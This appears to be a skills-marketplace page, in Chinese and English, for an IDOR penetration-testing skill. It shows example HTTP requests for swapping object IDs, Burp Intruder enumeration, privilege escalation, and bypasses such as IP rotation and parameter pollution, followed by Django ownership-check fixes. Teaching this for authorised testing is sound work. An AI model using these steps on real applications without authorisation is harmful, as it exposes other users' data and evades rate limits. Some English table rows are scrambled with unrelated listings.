IDOR Vulnerability Testing by davila7/claude-code-templates
npx skills add https://github.com/davila7/claude-code-templates --skill 'IDOR Vulnerability Testing'提供系统化的方法论,用于识别和利用 Web 应用程序中的不安全直接对象引用(IDOR)漏洞。本技能涵盖数据库对象引用和静态文件引用、使用参数操纵和枚举的检测技术、通过 Burp Suite 进行利用,以及保护应用程序免受未授权访问的修复策略。
当应用程序通过用户可控参数引用数据库记录时发生:
# 原始 URL(以用户 A 身份认证)
example.com/user/profile?id=2023
# 操纵尝试(访问用户 B 的数据)
example.com/user/profile?id=2022
当应用程序暴露可枚举的文件路径或名称时发生:
# 原始 URL(用户 A 的收据)
example.com/static/receipt/205.pdf
# 操纵尝试(用户 B 的收据)
example.com/static/receipt/200.pdf
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
Account 1: "attacker" - 主要测试账户
Account 2: "victim" - 我们尝试访问其数据的账户
捕获并分析包含以下内容的请求:
/api/user/123?id=123&action=view{"userId": 123}/download/receipt_123.pdf/profile/a1b2c3d4-e5f6-...# 访问用户 ID 端点(如果可用)
GET /api/user-id/
# 注意 ID 模式:
# - 顺序整数(1, 2, 3...)
# - 自动递增的值
# - 可预测的模式
# 步骤 1:捕获原始认证请求
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
# 步骤 2:修改 ID 以针对另一个用户
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
# 如果以下情况则易受攻击:使用攻击者的会话返回受害者的数据
# 原始 POST 请求
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
# 针对受害者的修改后请求
{"id": 5, "userId": 1000, "address": "123 Attacker St"}
# 原始的 GET 请求可能受保护
GET /api/admin/users/1000 → 403 Forbidden
# 尝试替代方法
POST /api/admin/users/1000 → 200 OK(易受攻击!)
PUT /api/admin/users/1000 → 200 OK(易受攻击!)
1. 通过 Burp Suite 配置浏览器代理
2. 以 "attacker" 用户身份登录
3. 导航到个人资料/数据页面
4. 在 Proxy 标签页启用 Intercept
5. 捕获包含用户 ID 的请求
6. 将 ID 修改为受害者的 ID
7. 转发请求
8. 观察响应中是否包含受害者的数据
1. 将请求发送到 Intruder(Ctrl+I)
2. 清除所有有效载荷位置
3. 选择 ID 参数作为有效载荷位置
4. 配置攻击类型:Sniper
5. 有效载荷设置:
- 类型:Numbers
- 范围:1 到 10000
- 步长:1
6. 开始攻击
7. 分析状态码为 200 的响应
# 当同一个 ID 出现在多个位置时
PUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
攻击类型:Battering Ram
有效载荷:Numbers 1-1000
/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete
/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx
?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com
| 测试 | 方法 | 漏洞指示器 |
|---|---|---|
| 递增/递减 ID | 将 id=5 改为 id=4 | 返回不同用户的数据 |
| 使用受害者的 ID | 替换为已知的受害者 ID | 授予对受害者资源的访问权限 |
| 枚举范围 | 测试 ID 1-1000 | 找到其他用户的有效记录 |
| 负值 | 测试 id=-1 或 id=0 | 意外的数据或错误 |
| 大值 | 测试 id=99999999 | 系统信息泄露 |
| 字符串 ID | 更改格式 id=user_123 | 逻辑绕过 |
| GUID 操纵 | 修改 UUID 部分 | 可预测的 UUID 模式 |
| 状态码 | 解释 |
|---|---|
| 200 OK | 潜在的 IDOR - 验证数据所有权 |
| 403 Forbidden | 访问控制正常工作 |
| 404 Not Found | 资源不存在 |
| 401 Unauthorized | 需要认证 |
| 500 Error | 潜在的输入验证问题 |
| 参数类型 | 示例 |
|---|---|
| 用户标识符 | userId, uid, user_id, account |
| 资源标识符 | id, pid, docId, fileId |
| 订单/交易 | orderId, transactionId, invoiceId |
| 消息/通信 | messageId, threadId, chatId |
| 文件引用 | filename, file, document, path |
# 以攻击者身份登录(userId=1001)
# 导航到个人资料页面
# 原始请求
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123
# 响应:攻击者的个人资料数据
# 修改后的请求(针对受害者 userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123
# 易受攻击的响应:返回了受害者的个人资料数据!
# 拦截地址更新请求
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{
"id": 5,
"userId": 1001,
"street": "123 Main St",
"city": "Test City"
}
# 将 userId 修改为受害者的 ID
{
"id": 5,
"userId": 1000, # 从 1001 更改而来
"street": "Hacked Address",
"city": "Exploit City"
}
# 如果返回 200 OK:则在受害者的账户下创建了地址
# 下载自己的收据
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session
# 响应:攻击者的收据 PDF(订单 #5)
# 尝试访问其他收据
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session
# 易受攻击的响应:受害者的收据 PDF(订单 #3)!
# 配置 Intruder 攻击
目标:PUT /api/addresses/§1§/update
有效载荷位置:URL 和请求体中的地址 ID
攻击配置:
- 类型:Battering Ram
- 有效载荷:Numbers 0-20, 步长 1
请求体模板:
{
"id": §1§,
"userId": 3
}
# 分析结果:
# - 200 响应表示修改成功
# - 检查受害者的账户是否有新地址
# 步骤 1:枚举用户角色
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}
# 步骤 2:使用发现的 ID 访问管理功能
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session
# 如果可访问:则实现了垂直权限提升
原因 :服务器端实施了访问控制 解决方案 :
# 尝试替代的攻击向量:
1. HTTP 方法切换(GET → POST → PUT)
2. 添加 X-Original-URL 或 X-Rewrite-URL 头部
3. 尝试参数污染:?id=1001&id=1000
4. URL 编码变体:%31%30%30%30 对应 "1000"
5. 字符串 ID 的大小写变体
原因 :随机化标识符降低了枚举风险 解决方案 :
# UUID 发现技术:
1. 检查响应体是否有泄露的 UUID
2. 在 JavaScript 文件中搜索硬编码的 UUID
3. 检查列出多个对象的 API 响应
4. 在错误信息中寻找 UUID 模式
5. 如果适用,尝试 UUID v1(基于时间)预测
原因 :应用程序根据请求的资源验证会话 解决方案 :
# 高级绕过尝试:
1. 测试未认证端点中的 IDOR
2. 检查密码重置/邮箱验证流程
3. 寻找文件上传/下载中的 IDOR
4. 测试 API 版本:/api/v1/ 对比 /api/v2/
5. 检查移动端 API 端点(通常保护较少)
原因 :应用程序实施了请求节流 解决方案 :
# 绕过技术:
1. 在请求之间添加延迟(Burp Intruder 节流)
2. 轮换 IP 地址(代理链)
3. 针对特定的高价值 ID 而非整个范围
4. 对相同资源使用不同的端点
5. 在非高峰时段测试
原因 :响应未明确指示数据所有权 解决方案 :
# 验证方法:
1. 在受害者账户中创建唯一可识别的数据
2. 在响应中寻找 PII 标记(姓名、邮箱)
3. 比较不同用户之间的响应长度
4. 检查响应中的时间差异
5. 使用次要指示器(创建日期、元数据)
# Django 示例 - 验证所有权
def update_address(request, address_id):
address = Address.objects.get(id=address_id)
# 在允许更新前验证所有权
if address.user != request.user:
return HttpResponseForbidden("Unauthorized")
# 继续更新
address.update(request.data)
# 替代:/api/address/123
# 使用:/api/address/current-user/billing
def get_address(request):
# 始终按认证用户过滤
address = Address.objects.filter(user=request.user).first()
return address
# 始终在服务器端验证,切勿信任客户端输入
def download_receipt(request, receipt_id):
receipt = Receipt.objects.filter(
id=receipt_id,
user=request.user # 关键:按当前用户过滤
).first()
if not receipt:
return HttpResponseNotFound()
return FileResponse(receipt.file)
每周安装次数
–
仓库
GitHub 星标数
23.4K
首次出现时间
–
安全审计
Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.
Occurs when applications reference database records via user-controllable parameters:
# Original URL (authenticated as User A)
example.com/user/profile?id=2023
# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022
Occurs when applications expose file paths or names that can be enumerated:
# Original URL (User A's receipt)
example.com/static/receipt/205.pdf
# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf
Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access
Capture and analyze requests containing:
/api/user/123?id=123&action=view{"userId": 123}/download/receipt_123.pdf/profile/a1b2c3d4-e5f6-...# Access user ID endpoint (if available)
GET /api/user-id/
# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns
# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable if: Returns victim's data with attacker's session
# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}
# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden
# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data
1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
- Type: Numbers
- Range: 1 to 10000
- Step: 1
6. Start attack
7. Analyze responses for 200 status codes
# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
Attack Type: Battering Ram
Payload: Numbers 1-1000
/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete
/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx
?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com
| Test | Method | Indicator of Vulnerability |
|---|---|---|
| Increment/Decrement ID | Change id=5 to id=4 | Returns different user's data |
| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |
| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |
| Negative Values | Test id=-1 or id=0 | Unexpected data or errors |
| Large Values | Test id=99999999 |
| Status Code | Interpretation |
|---|---|
| 200 OK | Potential IDOR - verify data ownership |
| 403 Forbidden | Access control working |
| 404 Not Found | Resource doesn't exist |
| 401 Unauthorized | Authentication required |
| 500 Error | Potential input validation issue |
| Parameter Type | Examples |
|---|---|
| User identifiers | userId, uid, user_id, account |
| Resource identifiers | id, pid, docId, fileId |
| Order/Transaction | orderId, , |
# Login as attacker (userId=1001)
# Navigate to profile page
# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123
# Response: Attacker's profile data
# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123
# Vulnerable Response: Victim's profile data returned!
# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{
"id": 5,
"userId": 1001,
"street": "123 Main St",
"city": "Test City"
}
# Modify userId to victim's ID
{
"id": 5,
"userId": 1000, # Changed from 1001
"street": "Hacked Address",
"city": "Exploit City"
}
# If 200 OK: Address created under victim's account
# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session
# Response: PDF of attacker's receipt (order #5)
# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable Response: PDF of victim's receipt (order #3)!
# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body
Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1
Body Template:
{
"id": §1§,
"userId": 3
}
# Analyze results:
# - 200 responses indicate successful modification
# - Check victim's account for new addresses
# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}
# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session
# If accessible: Vertical privilege escalation achieved
Cause : Server-side access control is implemented Solution :
# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs
Cause : Randomized identifiers reduce enumeration risk Solution :
# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable
Cause : Application validates session against requested resource Solution :
# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)
Cause : Application implements request throttling Solution :
# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours
Cause : Response doesn't clearly indicate data ownership Solution :
# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)
# Django example - validate ownership
def update_address(request, address_id):
address = Address.objects.get(id=address_id)
# Verify ownership before allowing update
if address.user != request.user:
return HttpResponseForbidden("Unauthorized")
# Proceed with update
address.update(request.data)
# Instead of: /api/address/123
# Use: /api/address/current-user/billing
def get_address(request):
# Always filter by authenticated user
address = Address.objects.filter(user=request.user).first()
return address
# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
receipt = Receipt.objects.filter(
id=receipt_id,
user=request.user # Critical: filter by current user
).first()
if not receipt:
return HttpResponseNotFound()
return FileResponse(receipt.file)
Weekly Installs
–
Repository
GitHub Stars
23.4K
First Seen
–
Security Audits
xdrop 文件传输脚本:Bun 环境下安全上传下载工具,支持加密分享
24,700 周安装
QA专家技能:自动化测试流程与OWASP安全测试,提升软件质量
380 周安装
安全审计专家 | DevSecOps、应用安全与漏洞评估 | 网络安全实践指南
383 周安装
Next.js 14全栈开发模板:TypeScript + TailwindCSS + Supabase最佳实践
383 周安装
GitLab工作流最佳实践指南:合并请求、CI/CD流水线与DevOps最佳实践
380 周安装
LobeHub hotkey 快捷键开发指南 - 为应用添加快捷键功能的最佳实践
388 周安装
Sentry SDK 设置指南:跨平台错误监控、性能追踪与会话回放集成
391 周安装
| System information disclosure |
| String IDs | Change format id=user_123 | Logic bypass |
| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |
transactionIdinvoiceId| Message/Communication | messageId, threadId, chatId |
| File references | filename, file, document, path |